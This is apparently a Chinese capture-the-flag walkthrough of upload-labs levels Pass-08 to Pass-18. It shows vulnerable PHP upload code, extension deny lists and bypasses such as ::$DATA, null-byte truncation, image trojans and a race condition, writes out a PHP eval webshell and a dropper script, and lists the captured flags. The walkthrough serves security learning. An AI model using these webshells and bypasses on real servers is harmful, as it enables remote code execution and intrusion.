        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

其实这几关涉及到后端检测后缀名的,核心思路都是两点:1)能绕过后缀名检测 2)能够让上传的webshell被解析执行。

分析:

1)去除了尾部的.=>所以无法用在尾部加”.”的方法绕过。

2)后缀名首尾去空=>所以无法用在尾部加”空格”的方法绕过。

但是虽然尾部没办法直接添加空格,但是可以添加其他语义上为空的内容,如::$DATA

windwos中的::$DATA

在 Windows 系统中,::$DATA 是 NTFS 文件系统的一个特性,用于表示文件的默认数据流。它是文件系统中隐藏的属性,用于存储文件的实际内容。

特性与用途:

  1. 文件流的默认数据流
    每个文件在 NTFS 文件系统中至少包含一个数据流,即 ::$DATA。它是文件的主流,存储文件的实际内容。
  2. 隐藏属性
    ::$DATA 是隐藏的,普通用户通常无法直接访问它,只有系统和特定程序可以操作。
  3. 文件名操作
    当文件名后附加 ::$DATA 时,Windows 会忽略 ::$DATA,并将其视为文件的默认数据流。这种特性可以被利用来绕过某些文件类型检查。
在文件上传漏洞中的绕过技巧

在某些文件上传漏洞中,攻击者可以利用 ::$DATA 绕过后缀名检查。例如:

  • 上传一个文件时,将文件名改为 shell.php::$DATA
  • 服务器在处理文件时,可能会忽略 ::$DATA,从而将文件保存为 shell.php
  • 这种方法可以绕过后缀名黑名单或白名单的限制。
  • 尾部::$DATA绕过

由于::$DATA是windows的特性,linux平台无法实现利用。

  • windwos环境利用

上传出错,

if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
} else {
               $msg = '上传出错!';
}

move_uploaded_file执行出错。

还是是靶场环境的问题,正常情况下应该能上传成功。

九、Pass-09**(后端后缀名检测-尾部 .空格.绕过(windwos))

9.1 题面

老样子。

9.2 解题

上传yjh.php然后抓包。

  • 检测方法判断

​ 改成.jpg后缀上传成功了=>没有检测文件头&&没有检测MIME类型。

并且文件没有被重命名。

  • 大小写转换绕过失败
  • 配置文件上传失败
  • 尾部空格、”.”、”::$DATA”

​ 尾部的”.”被删除了。

  • 查看提示

貌似这次是白名单检测。

  • 代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

$_FILES['upload_file']['tmp_name'] 和$_FILES['upload_file']['name']

1. $_FILES['upload_file']['tmp_name']
  • 含义:这是上传文件在服务器上的临时存储路径。
  • 作用:当文件被上传到服务器时,PHP 会将文件存储在一个临时目录中,并为该文件分配一个临时文件名。tmp_name 就是这个临时文件的完整路径。
  • 用途:在处理文件上传时,你需要使用 tmp_name 来移动文件到指定的目录。例如,使用 move_uploaded_file() 函数将文件从临时目录移动到目标目录。
2. $_FILES['upload_file']['name']
  • 含义:这是上传文件在客户端的原始文件名。
  • 作用:它表示用户在客户端选择的文件的名称,包括文件扩展名。
  • 用途:通常用于确定文件的名称和扩展名,但需要注意的是,这个值是由客户端提供的,因此不能完全信任。在实际使用中,应该对文件名进行过滤和验证,以避免安全问题(例如路径注入或恶意文件名)。

其实还是用的黑名单的检测逻辑:

1)构建一个黑名单

2)获取文件名

3)删除文件结尾的. 、转化为小写 、过滤::$DATA、后缀名trim

如果能绕过后缀名检测,文件的路径是UPLOAD_PATH.'/'.$file_name;拼接得来的,是否可以尝试空字节截断?

如果xxx.php%00.jpg,后面的.jpg能绕过后缀名检测,move_uploaded_file如果存在碰到空字节就终止执行的问题,那么最后就会保存成xxx.php

直接用url编码的%00貌似不行?

生成空字节貌似也不行。

  • 这一关又是windwos专属,用到的还是Pass-06的知识点

在windows下,如果新建文件123.php.空格 ,实际会被存储为123.php。与Pass-06不同的是,Pass-06对文件名进行了重命名,并且拼接的后缀是 $file_ext,而本关拼接的是$temp_file。如果想实现Pass-6的.php空格的效果,那么$temp_file在经过去除结尾的”.”处理之前应该是.php.空格.,这样也就反推出paylaod了。

处理逻辑:先删除末尾的”.”,然后获取的后缀名是”.空格”,自然能绕过黑名单。删除之后的文件名为yjh.php.空格,在windwos上会自动删除空格,变成yjh.php.,能够被解析执行。

但是,同理,在linux下是无法实现解析的,linux下文件名不会自动删除最后的空格。

十、Pass-10(后缀名黑名单过滤-嵌套双写绕过)

10.1 题面

依然老样子。

10.2 解题

  • 上传yah.php抓包

什么情况,后缀名被吃了,估计是按照黑名单过滤后缀。可以黑盒探测一下什么原因。

  • .jpg上传成功=>没检测MIME类型&&没有检测文件头

文件上传之后文件名没有转小写,文件名也没有重命名。

  • 尝试双写绕过

.PHphpP

可以看到后缀名被过滤掉了,有没有进行递归过滤呢?

.PphpHP.pPHPhp

看来就过滤了一次,检测到php就替换为了空,但是剩下的字符又拼接成了一个php。

.phpphp普通的双写是无法绕过的,两个php直接会被同时替换掉。

  • getshell
  • flag

    flag{5b9a8e16-6540-4951-8425-de794ccafca8}

10.3 代码审计

  • 提示

提示说会从文件名中去除敏感后缀。

  • 代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

核心就是匹配过滤:

$file_name = str_ireplace($deny_ext,"", $file_name);

但这种方式通常不会用递归的形式进行二次过滤,导致存量字符能继续构成敏感字符串:.pPHPhp->过滤PHP->.php

十一、Pass-11(后缀名白名单+上传路径GET可控-00截断)

11.1 题面

跟之前一样。

11.2 解题

  • 上传yah.php抓包
  • 单改文件名为.jpg

成功上传啊=>没有检测文件头&&没有检测MIME

文件名重命名。

禁止了大写文件名,判断可能是做了白名单。

  • 1.php空格1.php.1.php.空格.1.php::$DATA

均无法绕过。

  • 提示

仔细看抓包的包头有个路径参数,估计就是存放文件的路径。

如果将路径改成../upload/yjh.php,文件名是yjh.jpg会发生什么?

提示上传出错。注意,没有提示只允许上传...,说明第一层检测后缀的逻辑是突破了。

用上00截断试试。

../upload/yjh.php%00

还是上传出错。

  • 看下代码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

利用白名单来检测后缀,如果文件名存在”.”,并且”.”后面的内容不是jpg、png、gif就不让上传,限制确实很严格,没办法用一般的修改后缀的方法绕过。

但是文件路径的拼接参数中$_GET['save_path']是可控的。

如果:

save_path:../upload/yjh.php%00

filename:1.jpg

那么:

$img_path=../upload/yjh.php%00/2134311423131.jpg

但是move_uploaded_file函数在移动文件的时候,碰到%00(对应空字节),后面就不处理了,所以实际上$img_path应该是:

$img_path=../upload/yjh.php

达到了上传webshell的目的。

思路没问题,但是在目标环境中验证失败,可能是PHP版本和配置的原因。

  • 实现要求
  1. php版本要小于5.3.4
  2. php.ini中的配置magic_quotes_gpc=OFF

十二、Pass-12(后缀名白名单+上传路径POST可控-00截断)

12.1 题面

跟之前一样。

12.2 解题

  • 上传yjh.php抓包
  • 跟上一关一样,只不过这里放在POST参数中了。

上面是用yakit的fuzztag操作的(限于环境,还未成功验证)。

如果用的是bp,在HEX中修改,找到php代表的十六进制706870,将后一个16进制数改为00。

跟pass-11一样,思路没问题,但是在目标环境中验证失败,可能是PHP版本和配置的原因。

  • 实现要求
  1. php版本要小于5.3.4
  2. php.ini中的配置magic_quotes_gpc=OFF

12.3 代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

跟上一关一样,只是 $_POST['save_path']替换了$_GET['save_path']

十三、Pass-13(文件头检测-图片木马+文件包含)

13.1 题面

这一关的题面有些不同,涉及到三种类型的图片木马。

13.2 jpg图片木马

  • 上传yjh.php抓包

提示文件未知,上传失败。

  • 仅改后缀为.jpg

无法上传,可能检测MIME或文件内容。

修改MIME类型,还是失败,说明检测的是文件内容(文件头)。

  • jpg图片木马制作

jpg文件幻数

如果你用十六进制编辑器打开一个 JPG 文件,文件的前几个字节通常是 FF D8 FF。例如:

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 ...
  • FF D8 FF 是 JPG 文件的文件签名。
  • 后续的字节是文件的其他元数据和图像数据。

先实验一下长的幻数:FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C

将yjh.php后缀改成.jpg

用010editor十六进制编辑器打开:(安装激活方法见本站《010editor十六进制编辑器》一文。)

保存。

上传抓包:

可以看到如果熟悉yakit的话应该能直接在请求包这里制作图片木马。

图片木马成功上传。但是如何解析执行呢?

点击文件包含漏洞

只需要利用文件包含漏洞包含以下即可:

  • 蚁剑getshell:

访问上传成功的图片。

flag

Flag:

flag{a24f5301-e5b2-4a4b-a979-c53a15b86360}
  • 知道只检测了前两个字节之后,木马制作可以更简单一些。

  • 既然yakit有很多标签可用,那就不需要再手动一步步制作了。

使用yakit标签快速上传图片木马

13.3 gif图片木马

47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

使用yakit的gif文件头标签可以快速无痛生成图片木马。其他文件头可以参考本站《Yakit单兵安全能力平台 》一文的“标签使用经验积累”章节。

成功getshell,非常丝滑。

13.4 png图片木马

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

同理制作png图片木马。

成功getshell。

13.6 代码审计

查看一下提示和代码:

只检测头两个字节。

代码审计:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

255 216两个字节 对应的就是ff d8。其他检测也同理。

十四、Pass-14*(getimagesize文件类型检测-图片木马)

14.1 题面

这一关跟上一关类似,考察的都是图片木马。

14.2 jpg图片木马

按照上一关的操作尝试上传图片木马,上传失败。

  • 看下提示

提示使用getimagesize()检查是否为图片文件。

getimagesize()检查是否为图片文件的原理

getimagesize() 是 PHP 中的一个内置函数,用于获取图像文件的大小和类型信息。它不仅可以读取图像文件的尺寸(宽度和高度),还可以通过文件头信息判断文件是否为有效的图像文件。以下是 getimagesize() 检查图像文件的原理:

  1. 文件头信息检查

getimagesize() 的核心原理是通过读取文件的头部信息来判断文件是否为有效的图像文件。每种图像格式都有其独特的文件头(也称为文件签名或幻数),这些文件头用于标识文件的类型。例如:

  • JPG 文件:文件头通常是 FF D8 FF
  • PNG 文件:文件头是 89 50 4E 47 0D 0A 1A 0A
  • GIF 文件:文件头是 47 49 46 38 39 6147 49 46 38 37 61

getimagesize() 会读取文件的前几个字节,并与这些已知的文件头进行比对。如果匹配,则认为文件是有效的图像文件。

  1. MIME 类型检测

除了文件头信息,getimagesize() 还会返回图像文件的 MIME 类型(如 image/jpegimage/png 等)。这是通过解析文件头信息来确定的。例如:

  • 如果文件头是 FF D8 FF,则 MIME 类型为 image/jpeg
  • 如果文件头是 89 50 4E 47 ...,则 MIME 类型为 image/png

通过 MIME 类型,getimagesize() 可以进一步确认文件是否为支持的图像格式。

  1. 图像尺寸解析

如果文件头确认文件是有效的图像文件,getimagesize() 会进一步解析文件内容,提取图像的宽度和高度信息。不同格式的图像文件存储尺寸信息的方式不同:

  • JPG 文件:尺寸信息存储在特定的 JPEG 数据段中(如 SOF0 段)。
  • PNG 文件:尺寸信息存储在 IHDR 数据块中。
  • GIF 文件:尺寸信息存储在文件头后的固定位置。

通过解析这些数据段或数据块,getimagesize() 可以获取图像的宽度和高度。

  1. 返回值

getimagesize() 返回一个数组,包含以下信息:

  • [0]:图像宽度(像素)。
  • [1]:图像高度(像素)。
  • [2]:图像类型(如 IMG_JPGIMG_PNG 等)。
  • [3]:文本字符串,包含宽度和高度的 HTML widthheight 属性。
  • [mime]:图像的 MIME 类型(如 image/jpeg)。

如果文件不是有效的图像文件,getimagesize() 会返回 false

  1. 安全性

由于 getimagesize() 通过文件头信息和内容解析来判断文件是否为有效的图像文件,它比简单的文件扩展名检查更可靠。然而,它仍然存在一些潜在的安全问题:

  • 文件头伪造:攻击者可能在文件开头添加正确的文件头,但文件内容实际上是恶意代码。
  • 部分损坏的文件:某些损坏的图像文件可能仍然通过 getimagesize() 的检测。

因此,在处理文件上传时,建议结合其他安全措施,如:

  • 检查文件扩展名。
  • 使用 exif_imagetype() 函数进一步验证文件类型。
  • 对上传的文件进行严格的路径和文件名过滤。
  • 看下代码
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

核心代码:

$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

检测逻辑仅用到了$info[2]也就是图像类型信息。其实也可以看到代码并没有检测文件后缀,而是直接使用了getimagesize函数返回的后缀信息。

可能jpg和jpeg还是有区别的:

但是用jpeg头还是上传失败了。

  • mac 文件简介注释处添加木马(失败)

尝试下载一个完好的jpeg文件。

然后插入木马:

但是这种方法上传的木马没有效果。

  • 使用cat 命令制作图片木马

可能由于getiamgesize对图片检测比较全面。我们先下载一张原始的jpeg图像,放下面了(比如命名为img.jpeg):

原始jpeg图片

准备好yjh.php

<?php @eval($_POST['sxk'])?>

然后使用cat命令合并文件:

cat yjh.php >> img.jpeg

然后可以用010editor打开看下:

图片尾部已经被添加一句话木马。

木马文件如下:

图片木马

上传getshell:

14.3 gif图片木马

gif还是可以用老方法绕过检测。

另外可以看到,文件最终的后缀跟文件名filename的后缀没有必然联系,主要依赖于getiamgesize提取的文件名。

14.4 png图片木马

成功上传。

png木马也适用。

十五、Pass-15(exif_imagetype文件头检测-图片木马)

15.1 题面

更上一关一样。

15.2 gif图片木马

按照老方法操作,成功getshell。

15.3 png图片木马

同理上传png木马。这里特意没有改filename的后缀,最终上传的时候其实上传的是png后缀,说明后缀名是根据文件的类型提取的。MIME类型是php也能上传成功,说明没有做MIME类型检测。

用老方法也能成功getshell。

15.4 jpg

使用上一小节的图片木马:

图片木马

同样也能getshell。不知道这关有啥特别的。

15.5 代码审计

  • 提示:

使用exif_imagetype()检测文件。

  • 代码
function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

exif_imagetype()检测文件的原理

exif_imagetype() 是 PHP 中的一个内置函数,用于检测图像文件的类型。它的原理是通过读取图像文件的第一个字节并检查其签名(Magic Number)来确定文件类型。如果发现匹配的签名,函数会返回一个与图像类型对应的常量,否则返回 false

工作原理

  1. 读取文件头
    • exif_imagetype() 仅读取文件的开头部分(通常是一个或几个字节),而不是整个文件内容。
    • 这种方式效率较高,因为它不需要加载整个文件。
  2. 检查文件签名
    • 每种图像格式都有独特的文件签名。例如:
      • JPEG 文件的签名是 FF D8 FF
      • PNG 文件的签名是 89 50 4E 47 0D 0A 1A 0A
      • GIF 文件的签名是 47 49 46 38 39 6147 49 46 38 37 61
    • 函数通过比对这些签名来确定文件类型。
  3. 返回值
    • 如果文件签名匹配,函数返回一个整数常量,表示图像类型(例如 IMAGETYPE_JPEGIMAGETYPE_PNG 等)。
    • 如果文件签名不匹配或文件无法读取,函数返回 false

注意事项

  • exif_imagetype() 无法检测没有 EXIF 信息的图像文件,这种情况下会返回 false
  • 在某些服务器上,需要启用 PHP 的 exif 扩展才能使用该函数。

这个函数说到底还是检测文件头的前几个字节,那么之前使用的yakit jpg头部标签估计也适用这一关。

成功getshell。

十六、Pass-16**(二次渲染绕过-gif、png、jpg)

16.1 题面

题面还是一样。

16.2 以往的图片木马上传方法尝试

  • gif图片木马

以往通过加文件头上传图片木马的方法貌似不奏效了。

  • jpg图片木马

使用之前cat命令制作的尾部含有yjh木马的图片文件。

上传失败。

传统观念的图片木马的制作方法貌似都失效了。

16.3 代码审计

  • 提示

这关更6,直接重新渲染图片了,主要作用就是破坏其中的恶意代码,但是估计应该存在某些位置(可能是图片格式的参数字段等)没有被重新渲染。在这些位置存在插入恶意代码的可能。

  • 代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

if(($fileext == "jpg") && ($filetype=="image/jpeg")){从这行代码可以看出,后缀名和MIME类型必须都得满足条件才能进入后续逻辑。

修改content-type和后缀名使得能进入后续逻辑:

imagecreatefromgif函数

imagecreatefromgif() 是 PHP 中的一个函数,属于 GD 图像库,用于从 GIF 文件中创建一个新的图像资源。这个函数常用于图像处理和操作,比如裁剪、缩放、合并图像等。

函数原型

resource imagecreatefromgif(string $filename): bool
  • 参数
    • $filename:GIF 文件的路径。
  • 返回值
    • 成功时返回一个图像资源,可用于后续的图像处理。
    • 如果文件无法加载或不是有效的 GIF 图像,返回 false

16.4 绕过GD库的思路

将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

16.5《文件上传漏洞之二次渲染绕过》

后面的内容太长,抽离出来写在本站《文件上传漏洞之二次渲染绕过》一文。

十七、Pass-17**(白名单-条件竞争绕过)

17.1 题面

17.2 解题

  • 上传yjh.php
<?php @eval($_POST['sxk'])?>

上传失败。

抓包:

  • 探测检测方法

仅仅修改文件名发现能上传成功=>没有检测文件头&&没有检测MIME类型。

访问上传成功的图片。

但是这样的话需要配合解析漏洞才能解析执行木马。

  • 尝试后缀名绕过

.php. .php空格 .php. . .php::$DATA 均测试失败。

分析可能采用的白名单。如果是白名单限制并且没有可利用的文件包含漏洞,虽然能够上传图片木马但也无法解析执行。

  • 提示

提示:需要代码审计。那就分析一下代码吧。

17.3 代码审计

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

代码概述:

  1. 初始化变量
    • $is_upload:用于标记文件是否上传成功,初始值为 false
    • $msg:用于存储提示信息,初始值为 null
  2. 检查表单提交
    • 通过 isset($_POST['submit']) 判断用户是否点击了提交按钮。
  3. 定义允许的文件扩展名
    • $ext_arr = array('jpg','png','gif');:允许上传的文件扩展名列表。
  4. 获取上传文件信息
    • $file_name:获取上传文件的原始文件名。
    • $temp_file:获取上传文件的临时路径。
  5. 提取文件扩展名
    • 使用 strrpossubstr 从文件名中提取文件扩展名。
  6. 设置上传路径
    • $upload_file:将文件保存到指定目录(UPLOAD_PATH)下。
  7. 移动临时文件到目标路径
    • 使用 move_uploaded_file 将临时文件移动到目标路径。
  8. 检查文件扩展名是否合法
    • 使用 in_array 判断文件扩展名是否在允许的列表中。
    • 如果合法:
      • 生成一个新的文件名:rand(10, 99) . date("YmdHis") . "." . $file_ext,确保文件名唯一。
      • 使用 rename 将文件重命名为新文件名。
      • 设置 $is_upload = true;,表示上传成功。
    • 如果不合法:
      • 设置提示信息:$msg = "只允许上传.jpg|.png|.gif类型文件!";
      • 使用 unlink 删除已上传的文件。
  9. 处理上传错误
    • 如果 move_uploaded_file 失败,设置提示信息:$msg = '上传出错!';

逐行解析:

$is_upload = false; // 标记文件是否上传成功
$msg = null; // 用于存储提示信息

if (isset($_POST['submit'])) { // 检查表单是否提交
    $ext_arr = array('jpg', 'png', 'gif'); // 允许的文件扩展名
    $file_name = $_FILES['upload_file']['name']; // 获取上传文件的原始文件名
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时路径
    $file_ext = substr($file_name, strrpos($file_name, ".") + 1); // 提取文件扩展名
    $upload_file = UPLOAD_PATH . '/' . $file_name; // 设置上传路径

    if (move_uploaded_file($temp_file, $upload_file)) { // 移动临时文件到目标路径
        if (in_array($file_ext, $ext_arr)) { // 检查文件扩展名是否合法
            $img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext; // 生成唯一文件名
            rename($upload_file, $img_path); // 重命名文件
            $is_upload = true; // 标记上传成功
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!"; // 设置提示信息
            unlink($upload_file); // 删除已上传的文件
        }
    } else {
        $msg = '上传出错!'; // 设置上传错误提示
    }
}

问题分析:

先移动临时文件到目标路径然后才检测文件名的合法性,不合法才会删除, 可能存在条件竞争的隐患。我们只要能赶在服务器使用unlink删除文件之前,访问我们的php脚本使其解析执行,并在服务端创建一个webshell,后续就可以用蚁剑getshell了。

  • 尝试00截断
yjh.php%00.jpg 
substr和strrpos 函数碰到空字节之后不处理,提取到的后缀名还是php

yjh.jpg%00.php
虽然能绕过后缀名检测,但最终保存的还是jpg文件。

17.4 条件竞争绕过

先移动临时文件到目标路径然后才检测文件名的合法性,不合法才会删除, 可能存在条件竞争的隐患。我们只要能赶在服务器使用unlink删除文件之前,访问我们的php脚本使其解析执行,并在服务端创建一个webshell,后续就可以用蚁剑getshell了。

多线程并发上传create_webshell.php,赶在该文件被删除前,多线程并发访问create_webshell.php,触发脚本执行在服务端创建webshell。

  • 创建一个php脚本 create_webshell.php
<?php fputs(fopen('yjh.php','w'),'<?php @eval($_POST["sxk"])?>');?>

代码解析:

  • fopen('yjh.php', 'w'):以写入模式打开(或创建)名为 yjh.php 的文件。模式 'w' 会清空文件内容(如果文件已存在)。
  • fputs(..., '<?php @eval($_POST["sxk"])?>'):向该文件写入以下内容:
<?php @eval($_POST["sxk"]); ?>
  • 最终生成的文件 yjh.php 是一个 Webshell,允许攻击者通过 HTTP POST 参数 sxk 执行任意 PHP 代码。
  • 文件上传线程
并发上传
  • 文件访问线程
  • 执行结果

点击执行并发上传请求之后,点击并发访问请求,成功触发脚本。

但是没有执行成功。

修改配置:

重复操作,可以看到成功上传了yjh.php木马。

  • 蚁剑getshell

十八、Pass-18***(白名单-apache 7z解析漏洞+条件竞争)

18.1 题面

18.2 解题

  • 上传yjh.php
<?php @eval($_POST['sxk'])?>
  • 抓包
  • 探测检测方法

仅仅修改后缀.jpg能够上传成功=>没有检测MIME类型&&没有检测文件内容。

  • 尝试后缀名常规绕过方法

